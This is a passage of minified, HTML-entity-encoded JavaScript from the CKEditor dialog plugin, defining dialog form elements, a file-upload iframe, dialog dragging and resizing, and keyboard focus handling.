g,e.join(&quot;&quot;));d.push(&quot;\x3c/div\x3e&quot;);return d.join(&quot;&quot;)})}},file:function(b,c,d){if(!(3&gt;arguments.length)){void 0===c[&quot;default&quot;]&amp;&amp;(c[&quot;default&quot;]=&quot;&quot;);var f=CKEDITOR.tools.extend(a.call(this,c),{definition:c,buttons:[]});c.validate&amp;&amp;(this.validate=c.validate);b.on(&quot;load&quot;,function(){CKEDITOR.document.getById(f.frameId).getParent().addClass(&quot;cke_dialog_ui_input_file&quot;)});CKEDITOR.ui.dialog.labeledElement.call(this,b,c,d,function(){f.frameId=CKEDITOR.tools.getNextId()+&quot;_fileInput&quot;;var a=[&#039;\x3ciframe frameborder\x3d&quot;0&quot; allowtransparency\x3d&quot;0&quot; class\x3d&quot;cke_dialog_ui_input_file&quot; role\x3d&quot;presentation&quot; id\x3d&quot;&#039;,
f.frameId,&#039;&quot; title\x3d&quot;&#039;,c.label,&#039;&quot; src\x3d&quot;javascript:void(&#039;];a.push(CKEDITOR.env.ie?&quot;(function(){&quot;+encodeURIComponent(&quot;document.open();(&quot;+CKEDITOR.tools.fixDomain+&quot;)();document.close();&quot;)+&quot;})()&quot;:&quot;0&quot;);a.push(&#039;)&quot;\x3e\x3c/iframe\x3e&#039;);return a.join(&quot;&quot;)})}},fileButton:function(b,c,d){var f=this;if(!(3&gt;arguments.length)){a.call(this,c);c.validate&amp;&amp;(this.validate=c.validate);var e=CKEDITOR.tools.extend({},c),k=e.onClick;e.className=(e.className?e.className+&quot; &quot;:&quot;&quot;)+&quot;cke_dialog_ui_button&quot;;e.onClick=function(a){var d=
c[&quot;for&quot;];k&amp;&amp;!1===k.call(this,a)||(b.getContentElement(d[0],d[1]).submit(),this.disable())};b.on(&quot;load&quot;,function(){b.getContentElement(c[&quot;for&quot;][0],c[&quot;for&quot;][1])._.buttons.push(f)});CKEDITOR.ui.dialog.button.call(this,b,e,d)}},html:function(){var a=/^\s*&lt;[\w:]+\s+([^&gt;]*)?&gt;/,b=/^(\s*&lt;[\w:]+(?:\s+[^&gt;]*)?)((?:.|\r|\n)+)$/,c=/\/$/;return function(d,f,e){if(!(3&gt;arguments.length)){var k=[],m=f.html;&quot;\x3c&quot;!=m.charAt(0)&amp;&amp;(m=&quot;\x3cspan\x3e&quot;+m+&quot;\x3c/span\x3e&quot;);var p=f.focus;if(p){var y=this.focus;this.focus=function(){(&quot;function&quot;==
typeof p?p:y).call(this);this.fire(&quot;focus&quot;)};f.isFocusable&amp;&amp;(this.isFocusable=this.isFocusable);this.keyboardFocusable=!0}CKEDITOR.ui.dialog.uiElement.call(this,d,f,k,&quot;span&quot;,null,null,&quot;&quot;);k=k.join(&quot;&quot;).match(a);m=m.match(b)||[&quot;&quot;,&quot;&quot;,&quot;&quot;];c.test(m[1])&amp;&amp;(m[1]=m[1].slice(0,-1),m[2]=&quot;/&quot;+m[2]);e.push([m[1],&quot; &quot;,k[1]||&quot;&quot;,m[2]].join(&quot;&quot;))}}}(),fieldset:function(a,b,c,d,f){var e=f.label;this._={children:b};CKEDITOR.ui.dialog.uiElement.call(this,a,f,d,&quot;fieldset&quot;,null,null,function(){var a=[];e&amp;&amp;a.push(&quot;\x3clegend&quot;+
(f.labelStyle?&#039; style\x3d&quot;&#039;+f.labelStyle+&#039;&quot;&#039;:&quot;&quot;)+&quot;\x3e&quot;+e+&quot;\x3c/legend\x3e&quot;);for(var b=0;b&lt;c.length;b++)a.push(c[b]);return a.join(&quot;&quot;)})}},!0);CKEDITOR.ui.dialog.html.prototype=new CKEDITOR.ui.dialog.uiElement;CKEDITOR.ui.dialog.labeledElement.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{setLabel:function(a){var b=CKEDITOR.document.getById(this._.labelId);1&gt;b.getChildCount()?(new CKEDITOR.dom.text(a,CKEDITOR.document)).appendTo(b):b.getChild(0).$.nodeValue=a;return this},getLabel:function(){var a=
CKEDITOR.document.getById(this._.labelId);return!a||1&gt;a.getChildCount()?&quot;&quot;:a.getChild(0).getText()},eventProcessors:d},!0);CKEDITOR.ui.dialog.button.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{click:function(){return this._.disabled?!1:this.fire(&quot;click&quot;,{dialog:this._.dialog})},enable:function(){this._.disabled=!1;var a=this.getElement();a&amp;&amp;a.removeClass(&quot;cke_disabled&quot;)},disable:function(){this._.disabled=!0;this.getElement().addClass(&quot;cke_disabled&quot;)},isVisible:function(){return this.getElement().getFirst().isVisible()},
isEnabled:function(){return!this._.disabled},eventProcessors:CKEDITOR.tools.extend({},CKEDITOR.ui.dialog.uiElement.prototype.eventProcessors,{onClick:function(a,b){this.on(&quot;click&quot;,function(){b.apply(this,arguments)})}},!0),accessKeyUp:function(){this.click()},accessKeyDown:function(){this.focus()},keyboardFocusable:!0},!0);CKEDITOR.ui.dialog.textInput.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.labeledElement,{getInputElement:function(){return CKEDITOR.document.getById(this._.inputId)},
focus:function(){var a=this.selectParentTab();setTimeout(function(){var b=a.getInputElement();b&amp;&amp;b.$.focus()},0)},select:function(){var a=this.selectParentTab();setTimeout(function(){var b=a.getInputElement();b&amp;&amp;(b.$.focus(),b.$.select())},0)},accessKeyUp:function(){this.select()},setValue:function(a){if(this.bidi){var b=a&amp;&amp;a.charAt(0);(b=&quot;‪&quot;==b?&quot;ltr&quot;:&quot;‫&quot;==b?&quot;rtl&quot;:null)&amp;&amp;(a=a.slice(1));this.setDirectionMarker(b)}a||(a=&quot;&quot;);return CKEDITOR.ui.dialog.uiElement.prototype.setValue.apply(this,arguments)},
getValue:function(){var a=CKEDITOR.ui.dialog.uiElement.prototype.getValue.call(this);if(this.bidi&amp;&amp;a){var b=this.getDirectionMarker();b&amp;&amp;(a=(&quot;ltr&quot;==b?&quot;‪&quot;:&quot;‫&quot;)+a)}return a},setDirectionMarker:function(a){var b=this.getInputElement();a?b.setAttributes({dir:a,&quot;data-cke-dir-marker&quot;:a}):this.getDirectionMarker()&amp;&amp;b.removeAttributes([&quot;dir&quot;,&quot;data-cke-dir-marker&quot;])},getDirectionMarker:function(){return this.getInputElement().data(&quot;cke-dir-marker&quot;)},keyboardFocusable:!0},c,!0);CKEDITOR.ui.dialog.textarea.prototype=
new CKEDITOR.ui.dialog.textInput;CKEDITOR.ui.dialog.select.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.labeledElement,{getInputElement:function(){return this._.select.getElement()},add:function(a,b,c){var d=new CKEDITOR.dom.element(&quot;option&quot;,this.getDialog().getParentEditor().document),f=this.getInputElement().$;d.$.text=a;d.$.value=void 0===b||null===b?a:b;void 0===c||null===c?CKEDITOR.env.ie?f.add(d.$):f.add(d.$,null):f.add(d.$,c);return this},remove:function(a){this.getInputElement().$.remove(a);
return this},clear:function(){for(var a=this.getInputElement().$;0&lt;a.length;)a.remove(0);return this},keyboardFocusable:!0},c,!0);CKEDITOR.ui.dialog.checkbox.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{getInputElement:function(){return this._.checkbox.getElement()},setValue:function(a,b){this.getInputElement().$.checked=a;!b&amp;&amp;this.fire(&quot;change&quot;,{value:a})},getValue:function(){return this.getInputElement().$.checked},accessKeyUp:function(){this.setValue(!this.getValue())},eventProcessors:{onChange:function(a,
b){if(!CKEDITOR.env.ie||8&lt;CKEDITOR.env.version)return d.onChange.apply(this,arguments);a.on(&quot;load&quot;,function(){var a=this._.checkbox.getElement();a.on(&quot;propertychange&quot;,function(b){b=b.data.$;&quot;checked&quot;==b.propertyName&amp;&amp;this.fire(&quot;change&quot;,{value:a.$.checked})},this)},this);this.on(&quot;change&quot;,b);return null}},keyboardFocusable:!0},c,!0);CKEDITOR.ui.dialog.radio.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{setValue:function(a,b){for(var c=this._.children,d,f=0;f&lt;c.length&amp;&amp;(d=c[f]);f++)d.getElement().$.checked=
d.getValue()==a;!b&amp;&amp;this.fire(&quot;change&quot;,{value:a})},getValue:function(){for(var a=this._.children,b=0;b&lt;a.length;b++)if(a[b].getElement().$.checked)return a[b].getValue();return null},accessKeyUp:function(){var a=this._.children,b;for(b=0;b&lt;a.length;b++)if(a[b].getElement().$.checked){a[b].getElement().focus();return}a[0].getElement().focus()},eventProcessors:{onChange:function(a,b){if(!CKEDITOR.env.ie||8&lt;CKEDITOR.env.version)return d.onChange.apply(this,arguments);a.on(&quot;load&quot;,function(){for(var a=
this._.children,b=this,c=0;c&lt;a.length;c++)a[c].getElement().on(&quot;propertychange&quot;,function(a){a=a.data.$;&quot;checked&quot;==a.propertyName&amp;&amp;this.$.checked&amp;&amp;b.fire(&quot;change&quot;,{value:this.getAttribute(&quot;value&quot;)})})},this);this.on(&quot;change&quot;,b);return null}}},c,!0);CKEDITOR.ui.dialog.file.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.labeledElement,c,{getInputElement:function(){var a=CKEDITOR.document.getById(this._.frameId).getFrameDocument();return 0&lt;a.$.forms.length?new CKEDITOR.dom.element(a.$.forms[0].elements[0]):
this.getElement()},submit:function(){this.getInputElement().getParent().$.submit();return this},getAction:function(){return this.getInputElement().getParent().$.action},registerEvents:function(a){var b=/^on([A-Z]\w+)/,c,d=function(a,b,c,d){a.on(&quot;formLoaded&quot;,function(){a.getInputElement().on(c,d,a)})},f;for(f in a)if(c=f.match(b))this.eventProcessors[f]?this.eventProcessors[f].call(this,this._.dialog,a[f]):d(this,this._.dialog,c[1].toLowerCase(),a[f]);return this},reset:function(){function a(){c.$.open();
var h=&quot;&quot;;d.size&amp;&amp;(h=d.size-(CKEDITOR.env.ie?7:0));var A=b.frameId+&quot;_input&quot;;c.$.write([&#039;\x3chtml dir\x3d&quot;&#039;+m+&#039;&quot; lang\x3d&quot;&#039;+p+&#039;&quot;\x3e\x3chead\x3e\x3ctitle\x3e\x3c/title\x3e\x3c/head\x3e\x3cbody style\x3d&quot;margin: 0; overflow: hidden; background: transparent;&quot;\x3e&#039;,&#039;\x3cform enctype\x3d&quot;multipart/form-data&quot; method\x3d&quot;POST&quot; dir\x3d&quot;&#039;+m+&#039;&quot; lang\x3d&quot;&#039;+p+&#039;&quot; action\x3d&quot;&#039;,CKEDITOR.tools.htmlEncode(d.action),&#039;&quot;\x3e\x3clabel id\x3d&quot;&#039;,b.labelId,&#039;&quot; for\x3d&quot;&#039;,A,&#039;&quot; style\x3d&quot;display:none&quot;\x3e&#039;,CKEDITOR.tools.htmlEncode(d.label),
&#039;\x3c/label\x3e\x3cinput style\x3d&quot;width:100%&quot; id\x3d&quot;&#039;,A,&#039;&quot; aria-labelledby\x3d&quot;&#039;,b.labelId,&#039;&quot; type\x3d&quot;file&quot; name\x3d&quot;&#039;,CKEDITOR.tools.htmlEncode(d.id||&quot;cke_upload&quot;),&#039;&quot; size\x3d&quot;&#039;,CKEDITOR.tools.htmlEncode(0&lt;h?h:&quot;&quot;),&#039;&quot; /\x3e\x3c/form\x3e\x3c/body\x3e\x3c/html\x3e\x3cscript\x3e&#039;,CKEDITOR.env.ie?&quot;(&quot;+CKEDITOR.tools.fixDomain+&quot;)();&quot;:&quot;&quot;,&quot;window.parent.CKEDITOR.tools.callFunction(&quot;+e+&quot;);&quot;,&quot;window.onbeforeunload \x3d function() {window.parent.CKEDITOR.tools.callFunction(&quot;+k+&quot;)}&quot;,&quot;\x3c/script\x3e&quot;].join(&quot;&quot;));
c.$.close();for(h=0;h&lt;f.length;h++)f[h].enable()}var b=this._,c=CKEDITOR.document.getById(b.frameId).getFrameDocument(),d=b.definition,f=b.buttons,e=this.formLoadedNumber,k=this.formUnloadNumber,m=b.dialog._.editor.lang.dir,p=b.dialog._.editor.langCode;e||(e=this.formLoadedNumber=CKEDITOR.tools.addFunction(function(){this.fire(&quot;formLoaded&quot;)},this),k=this.formUnloadNumber=CKEDITOR.tools.addFunction(function(){this.getInputElement().clearCustomData()},this),this.getDialog()._.editor.on(&quot;destroy&quot;,function(){CKEDITOR.tools.removeFunction(e);
CKEDITOR.tools.removeFunction(k)}));CKEDITOR.env.gecko?setTimeout(a,500):a()},getValue:function(){return this.getInputElement().$.value||&quot;&quot;},setInitValue:function(){this._.initValue=&quot;&quot;},eventProcessors:{onChange:function(a,b){this._.domOnChangeRegistered||(this.on(&quot;formLoaded&quot;,function(){this.getInputElement().on(&quot;change&quot;,function(){this.fire(&quot;change&quot;,{value:this.getValue()})},this)},this),this._.domOnChangeRegistered=!0);this.on(&quot;change&quot;,b)}},keyboardFocusable:!0},!0);CKEDITOR.ui.dialog.fileButton.prototype=
new CKEDITOR.ui.dialog.button;CKEDITOR.ui.dialog.fieldset.prototype=CKEDITOR.tools.clone(CKEDITOR.ui.dialog.hbox.prototype);CKEDITOR.dialog.addUIElement(&quot;text&quot;,e);CKEDITOR.dialog.addUIElement(&quot;password&quot;,e);CKEDITOR.dialog.addUIElement(&quot;textarea&quot;,b);CKEDITOR.dialog.addUIElement(&quot;checkbox&quot;,b);CKEDITOR.dialog.addUIElement(&quot;radio&quot;,b);CKEDITOR.dialog.addUIElement(&quot;button&quot;,b);CKEDITOR.dialog.addUIElement(&quot;select&quot;,b);CKEDITOR.dialog.addUIElement(&quot;file&quot;,b);CKEDITOR.dialog.addUIElement(&quot;fileButton&quot;,b);CKEDITOR.dialog.addUIElement(&quot;html&quot;,
b);CKEDITOR.dialog.addUIElement(&quot;fieldset&quot;,{build:function(a,b,c){for(var d=b.children,f,e=[],k=[],m=0;m&lt;d.length&amp;&amp;(f=d[m]);m++){var p=[];e.push(p);k.push(CKEDITOR.dialog._.uiElementBuilders[f.type].build(a,f,p))}return new CKEDITOR.ui.dialog[b.type](a,k,e,c,b)}})}}),CKEDITOR.DIALOG_RESIZE_NONE=0,CKEDITOR.DIALOG_RESIZE_WIDTH=1,CKEDITOR.DIALOG_RESIZE_HEIGHT=2,CKEDITOR.DIALOG_RESIZE_BOTH=3,CKEDITOR.DIALOG_STATE_IDLE=1,CKEDITOR.DIALOG_STATE_BUSY=2,function(){function a(){for(var a=this._.tabIdList.length,
b=CKEDITOR.tools.indexOf(this._.tabIdList,this._.currentTabId)+a,c=b-1;c&gt;b-a;c--)if(this._.tabs[this._.tabIdList[c%a]][0].$.offsetHeight)return this._.tabIdList[c%a];return null}function e(){for(var a=this._.tabIdList.length,b=CKEDITOR.tools.indexOf(this._.tabIdList,this._.currentTabId),c=b+1;c&lt;b+a;c++)if(this._.tabs[this._.tabIdList[c%a]][0].$.offsetHeight)return this._.tabIdList[c%a];return null}function b(a,b){for(var c=a.$.getElementsByTagName(&quot;input&quot;),d=0,f=c.length;d&lt;f;d++){var e=new CKEDITOR.dom.element(c[d]);
&quot;text&quot;==e.getAttribute(&quot;type&quot;).toLowerCase()&amp;&amp;(b?(e.setAttribute(&quot;value&quot;,e.getCustomData(&quot;fake_value&quot;)||&quot;&quot;),e.removeCustomData(&quot;fake_value&quot;)):(e.setCustomData(&quot;fake_value&quot;,e.getAttribute(&quot;value&quot;)),e.setAttribute(&quot;value&quot;,&quot;&quot;)))}}function c(a,b){var c=this.getInputElement();c&amp;&amp;(a?c.removeAttribute(&quot;aria-invalid&quot;):c.setAttribute(&quot;aria-invalid&quot;,!0));a||(this.select?this.select():this.focus());b&amp;&amp;alert(b);this.fire(&quot;validated&quot;,{valid:a,msg:b})}function d(){var a=this.getInputElement();a&amp;&amp;a.removeAttribute(&quot;aria-invalid&quot;)}
function k(a){var b=CKEDITOR.dom.element.createFromHtml(CKEDITOR.addTemplate(&quot;dialog&quot;,t).output({id:CKEDITOR.tools.getNextNumber(),editorId:a.id,langDir:a.lang.dir,langCode:a.langCode,editorDialogClass:&quot;cke_editor_&quot;+a.name.replace(/\./g,&quot;\\.&quot;)+&quot;_dialog&quot;,closeTitle:a.lang.common.close,hidpi:CKEDITOR.env.hidpi?&quot;cke_hidpi&quot;:&quot;&quot;})),c=b.getChild([0,0,0,0,0]),d=c.getChild(0),f=c.getChild(1);a.plugins.clipboard&amp;&amp;CKEDITOR.plugins.clipboard.preventDefaultDropOnElement(c);!CKEDITOR.env.ie||CKEDITOR.env.quirks||
CKEDITOR.env.edge||(a=&quot;javascript:void(function(){&quot;+encodeURIComponent(&quot;document.open();(&quot;+CKEDITOR.tools.fixDomain+&quot;)();document.close();&quot;)+&quot;}())&quot;,CKEDITOR.dom.element.createFromHtml(&#039;\x3ciframe frameBorder\x3d&quot;0&quot; class\x3d&quot;cke_iframe_shim&quot; src\x3d&quot;&#039;+a+&#039;&quot; tabIndex\x3d&quot;-1&quot;\x3e\x3c/iframe\x3e&#039;).appendTo(c.getParent()));d.unselectable();f.unselectable();return{element:b,parts:{dialog:b.getChild(0),title:d,close:f,tabs:c.getChild(2),contents:c.getChild([3,0,0,0]),footer:c.getChild([3,0,1,0])}}}function m(a,
b,c){this.element=b;this.focusIndex=c;this.tabIndex=0;this.isFocusable=function(){return!b.getAttribute(&quot;disabled&quot;)&amp;&amp;b.isVisible()};this.focus=function(){a._.currentFocusIndex=this.focusIndex;this.element.focus()};b.on(&quot;keydown&quot;,function(a){a.data.getKeystroke()in{32:1,13:1}&amp;&amp;this.fire(&quot;click&quot;)});b.on(&quot;focus&quot;,function(){this.fire(&quot;mouseover&quot;)});b.on(&quot;blur&quot;,function(){this.fire(&quot;mouseout&quot;)})}function f(a){function b(){a.layout()}var c=CKEDITOR.document.getWindow();c.on(&quot;resize&quot;,b);a.on(&quot;hide&quot;,function(){c.removeListener(&quot;resize&quot;,
b)})}function h(a,b){this._={dialog:a};CKEDITOR.tools.extend(this,b)}function l(a){function b(c){var k=a.getSize(),l=CKEDITOR.document.getWindow().getViewPaneSize(),m=c.data.$.screenX,n=c.data.$.screenY,p=m-d.x,y=n-d.y;d={x:m,y:n};f.x+=p;f.y+=y;a.move(f.x+h[3]&lt;g?-h[3]:f.x-h[1]&gt;l.width-k.width-g?l.width-k.width+(&quot;rtl&quot;==e.lang.dir?0:h[1]):f.x,f.y+h[0]&lt;g?-h[0]:f.y-h[2]&gt;l.height-k.height-g?l.height-k.height+h[2]:f.y,1);c.data.preventDefault()}function c(){CKEDITOR.document.removeListener(&quot;mousemove&quot;,
b);CKEDITOR.document.removeListener(&quot;mouseup&quot;,c);if(CKEDITOR.env.ie6Compat){var a=x.getChild(0).getFrameDocument();a.removeListener(&quot;mousemove&quot;,b);a.removeListener(&quot;mouseup&quot;,c)}}var d=null,f=null,e=a.getParentEditor(),g=e.config.dialog_magnetDistance,h=CKEDITOR.skin.margins||[0,0,0,0];&quot;undefined&quot;==typeof g&amp;&amp;(g=20);a.parts.title.on(&quot;mousedown&quot;,function(e){d={x:e.data.$.screenX,y:e.data.$.screenY};CKEDITOR.document.on(&quot;mousemove&quot;,b);CKEDITOR.document.on(&quot;mouseup&quot;,c);f=a.getPosition();if(CKEDITOR.env.ie6Compat){var g=
x.getChild(0).getFrameDocument();g.on(&quot;mousemove&quot;,b);g.on(&quot;mouseup&quot;,c)}e.data.preventDefault()},a)}function g(a){function b(c){var n=&quot;rtl&quot;==e.lang.dir,p=m.width,y=m.height,q=p+(c.data.$.screenX-l.x)*(n?-1:1)*(a._.moved?1:2),A=y+(c.data.$.screenY-l.y)*(a._.moved?1:2),r=a._.element.getFirst(),r=n&amp;&amp;r.getComputedStyle(&quot;right&quot;),t=a.getPosition();t.y+A&gt;k.height&amp;&amp;(A=k.height-t.y);(n?r:t.x)+q&gt;k.width&amp;&amp;(q=k.width-(n?r:t.x));if(f==CKEDITOR.DIALOG_RESIZE_WIDTH||f==CKEDITOR.DIALOG_RESIZE_BOTH)p=Math.max(d.minWidth||
0,q-g);if(f==CKEDITOR.DIALOG_RESIZE_HEIGHT||f==CKEDITOR.DIALOG_RESIZE_BOTH)y=Math.max(d.minHeight||0,A-h);a.resize(p,y);a._.moved||a.layout();c.data.preventDefault()}function c(){CKEDITOR.document.removeListener(&quot;mouseup&quot;,c);CKEDITOR.document.removeListener(&quot;mousemove&quot;,b);n&amp;&amp;(n.remove(),n=null);if(CKEDITOR.env.ie6Compat){var a=x.getChild(0).getFrameDocument();a.removeListener(&quot;mouseup&quot;,c);a.removeListener(&quot;mousemove&quot;,b)}}var d=a.definition,f=d.resizable;if(f!=CKEDITOR.DIALOG_RESIZE_NONE){var e=a.getParentEditor(),
g,h,k,l,m,n,p=CKEDITOR.tools.addFunction(function(d){m=a.getSize();var f=a.parts.contents;f.$.getElementsByTagName(&quot;iframe&quot;).length&amp;&amp;(n=CKEDITOR.dom.element.createFromHtml(&#039;\x3cdiv class\x3d&quot;cke_dialog_resize_cover&quot; style\x3d&quot;height: 100%; position: absolute; width: 100%;&quot;\x3e\x3c/div\x3e&#039;),f.append(n));h=m.height-a.parts.contents.getSize(&quot;height&quot;,!(CKEDITOR.env.gecko||CKEDITOR.env.ie&amp;&amp;CKEDITOR.env.quirks));g=m.width-a.parts.contents.getSize(&quot;width&quot;,1);l={x:d.screenX,y:d.screenY};k=CKEDITOR.document.getWindow().getViewPaneSize();
CKEDITOR.document.on(&quot;mousemove&quot;,b);CKEDITOR.document.on(&quot;mouseup&quot;,c);CKEDITOR.env.ie6Compat&amp;&amp;(f=x.getChild(0).getFrameDocument(),f.on(&quot;mousemove&quot;,b),f.on(&quot;mouseup&quot;,c));d.preventDefault&amp;&amp;d.preventDefault()});a.on(&quot;load&quot;,function(){var b=&quot;&quot;;f==CKEDITOR.DIALOG_RESIZE_WIDTH?b=&quot; cke_resizer_horizontal&quot;:f==CKEDITOR.DIALOG_RESIZE_HEIGHT&amp;&amp;(b=&quot; cke_resizer_vertical&quot;);b=CKEDITOR.dom.element.createFromHtml(&#039;\x3cdiv class\x3d&quot;cke_resizer&#039;+b+&quot; cke_resizer_&quot;+e.lang.dir+&#039;&quot; title\x3d&quot;&#039;+CKEDITOR.tools.htmlEncode(e.lang.common.resize)+
&#039;&quot; onmousedown\x3d&quot;CKEDITOR.tools.callFunction(&#039;+p+&#039;, event )&quot;\x3e&#039;+(&quot;ltr&quot;==e.lang.dir?&quot;◢&quot;:&quot;◣&quot;)+&quot;\x3c/div\x3e&quot;);a.parts.footer.append(b,1)});e.on(&quot;destroy&quot;,function(){CKEDITOR.tools.removeFunction(p)})}}function n(a){a.data.preventDefault(1)}function v(a){var b=CKEDITOR.document.getWindow(),c=a.config,d=c.dialog_backgroundCoverColor||&quot;white&quot;,f=c.dialog_backgroundCoverOpacity,e=c.baseFloatZIndex,c=CKEDITOR.tools.genKey(d,f,e),g=C[c];g?g.show():(e=[&#039;\x3cdiv tabIndex\x3d&quot;-1&quot; style\x3d&quot;position: &#039;,CKEDITOR.env.ie6Compat?
&quot;absolute&quot;:&quot;fixed&quot;,&quot;; z-index: &quot;,e,&quot;; top: 0px; left: 0px; &quot;,CKEDITOR.env.ie6Compat?&quot;&quot;:&quot;background-color: &quot;+d,&#039;&quot; class\x3d&quot;cke_dialog_background_cover&quot;\x3e&#039;],CKEDITOR.env.ie6Compat&amp;&amp;(d=&quot;\x3chtml\x3e\x3cbody style\x3d\\&#039;background-color:&quot;+d+&quot;;\\&#039;\x3e\x3c/body\x3e\x3c/html\x3e&quot;,e.push(&#039;\x3ciframe hidefocus\x3d&quot;true&quot; frameborder\x3d&quot;0&quot; id\x3d&quot;cke_dialog_background_iframe&quot; src\x3d&quot;javascript:&#039;),e.push(&quot;void((function(){&quot;+encodeURIComponent(&quot;document.open();(&quot;+CKEDITOR.tools.fixDomain+&quot;)();document.write( &#039;&quot;+
d+&quot;&#039; );document.close();&quot;)+&quot;})())&quot;),e.push(&#039;&quot; style\x3d&quot;position:absolute;left:0;top:0;width:100%;height: 100%;filter: progid:DXImageTransform.Microsoft.Alpha(opacity\x3d0)&quot;\x3e\x3c/iframe\x3e&#039;)),e.push(&quot;\x3c/div\x3e&quot;),g=CKEDITOR.dom.element.createFromHtml(e.join(&quot;&quot;)),g.setOpacity(void 0!==f?f:.5),g.on(&quot;keydown&quot;,n),g.on(&quot;keypress&quot;,n),g.on(&quot;keyup&quot;,n),g.appendTo(CKEDITOR.document.getBody()),C[c]=g);a.focusManager.add(g);x=g;a=function(){var a=b.getViewPaneSize();g.setStyles({width:a.width+&quot;px&quot;,height:a.height+
&quot;px&quot;})};var h=function(){var a=b.getScrollPosition(),c=CKEDITOR.dialog._.currentTop;g.setStyles({left:a.x+&quot;px&quot;,top:a.y+&quot;px&quot;});if(c){do a=c.getPosition(),c.move(a.x,a.y);while(c=c._.parentDialog)}};w=a;b.on(&quot;resize&quot;,a);a();CKEDITOR.env.mac&amp;&amp;CKEDITOR.env.webkit||g.focus();if(CKEDITOR.env.ie6Compat){var k=function(){h();arguments.callee.prevScrollHandler.apply(this,arguments)};b.$.setTimeout(function(){k.prevScrollHandler=window.onscroll||function(){};window.onscroll=k},0);h()}}function u(a){x&amp;&amp;(a.focusManager.remove(x),
a=CKEDITOR.document.getWindow(),x.hide(),a.removeListener(&quot;resize&quot;,w),CKEDITOR.env.ie6Compat&amp;&amp;a.$.setTimeout(function(){window.onscroll=window.onscroll&amp;&amp;window.onscroll.prevScrollHandler||null},0),w=null)}var q=CKEDITOR.tools.cssLength,t=&#039;\x3cdiv class\x3d&quot;cke_reset_all {editorId} {editorDialogClass} {hidpi}&quot; dir\x3d&quot;{langDir}&quot; lang\x3d&quot;{langCode}&quot; role\x3d&quot;dialog&quot; aria-labelledby\x3d&quot;cke_dialog_title_{id}&quot;\x3e\x3ctable class\x3d&quot;cke_dialog &#039;+CKEDITOR.env.cssClass+&#039; cke_{langDir}&quot; style\x3d&quot;position:absolute&quot; role\x3d&quot;presentation&quot;\x3e\x3ctr\x3e\x3ctd role\x3d&quot;presentation&quot;\x3e\x3cdiv class\x3d&quot;cke_dialog_body&quot; role\x3d&quot;presentation&quot;\x3e\x3cdiv id\x3d&quot;cke_dialog_title_{id}&quot; class\x3d&quot;cke_dialog_title&quot; role\x3d&quot;presentation&quot;\x3e\x3c/div\x3e\x3ca id\x3d&quot;cke_dialog_close_button_{id}&quot; class\x3d&quot;cke_dialog_close_button&quot; href\x3d&quot;javascript:void(0)&quot; title\x3d&quot;{closeTitle}&quot; role\x3d&quot;button&quot;\x3e\x3cspan class\x3d&quot;cke_label&quot;\x3eX\x3c/span\x3e\x3c/a\x3e\x3cdiv id\x3d&quot;cke_dialog_tabs_{id}&quot; class\x3d&quot;cke_dialog_tabs&quot; role\x3d&quot;tablist&quot;\x3e\x3c/div\x3e\x3ctable class\x3d&quot;cke_dialog_contents&quot; role\x3d&quot;presentation&quot;\x3e\x3ctr\x3e\x3ctd id\x3d&quot;cke_dialog_contents_{id}&quot; class\x3d&quot;cke_dialog_contents_body&quot; role\x3d&quot;presentation&quot;\x3e\x3c/td\x3e\x3c/tr\x3e\x3ctr\x3e\x3ctd id\x3d&quot;cke_dialog_footer_{id}&quot; class\x3d&quot;cke_dialog_footer&quot; role\x3d&quot;presentation&quot;\x3e\x3c/td\x3e\x3c/tr\x3e\x3c/table\x3e\x3c/div\x3e\x3c/td\x3e\x3c/tr\x3e\x3c/table\x3e\x3c/div\x3e&#039;;
CKEDITOR.dialog=function(b,f){function h(){var a=x._.focusList;a.sort(function(a,b){return a.tabIndex!=b.tabIndex?b.tabIndex-a.tabIndex:a.focusIndex-b.focusIndex});for(var b=a.length,c=0;c&lt;b;c++)a[c].focusIndex=c}function m(a){var b=x._.focusList;a=a||0;if(!(1&gt;b.length)){var c=x._.currentFocusIndex;x._.tabBarMode&amp;&amp;0&gt;a&amp;&amp;(c=0);try{b[c].getInputElement().$.blur()}catch(d){}var f=c,e=1&lt;x._.pageCount;do{f+=a;if(e&amp;&amp;!x._.tabBarMode&amp;&amp;(f==b.length||-1==f)){x._.tabBarMode=!0;x._.tabs[x._.currentTabId][0].focus();
x._.currentFocusIndex=-1;return}f=(f+b.length)%b.length;if(f==c)break}while(a&amp;&amp;!b[f].isFocusable());b[f].focus();&quot;text&quot;==b[f].type&amp;&amp;b[f].select()}}function n(c){if(x==CKEDITOR.dialog._.currentTop){var d=c.data.getKeystroke(),f=&quot;rtl&quot;==b.lang.dir,g=[37,38,39,40];w=v=0;if(9==d||d==CKEDITOR.SHIFT+9)m(d==CKEDITOR.SHIFT+9?-1:1),w=1;else if(d==CKEDITOR.ALT+121&amp;&amp;!x._.tabBarMode&amp;&amp;1&lt;x.getPageCount())x._.tabBarMode=!0,x._.tabs[x._.currentTabId][0].focus(),x._.currentFocusIndex=-1,w=1;else if(-1!=CKEDITOR.tools.indexOf(g,
d)&amp;&amp;x._.tabBarMode)d=-1!=CKEDITOR.tools.indexOf([f?39:37,38],d)?a.call(x):e.call(x),x.selectPage(d),x._.tabs[d][0].focus(),w=1;else if(13!=d&amp;&amp;32!=d||!x._.tabBarMode)if(13==d)d=c.data.getTarget(),d.is(&quot;a&quot;,&quot;button&quot;,&quot;select&quot;,&quot;textarea&quot;)||d.is(&quot;input&quot;)&amp;&amp;&quot;button&quot;==d.$.type||((d=this.getButton(&quot;ok&quot;))&amp;&amp;CKEDITOR.tools.setTimeout(d.click,0,d),w=1),v=1;else if(27==d)(d=this.getButton(&quot;cancel&quot;))?CKEDITOR.tools.setTimeout(d.click,0,d):!1!==this.fire(&quot;cancel&quot;,{hide:!0}).hide&amp;&amp;this.hide(),v=1;else return;else this.selectPage(this._.currentTabId),
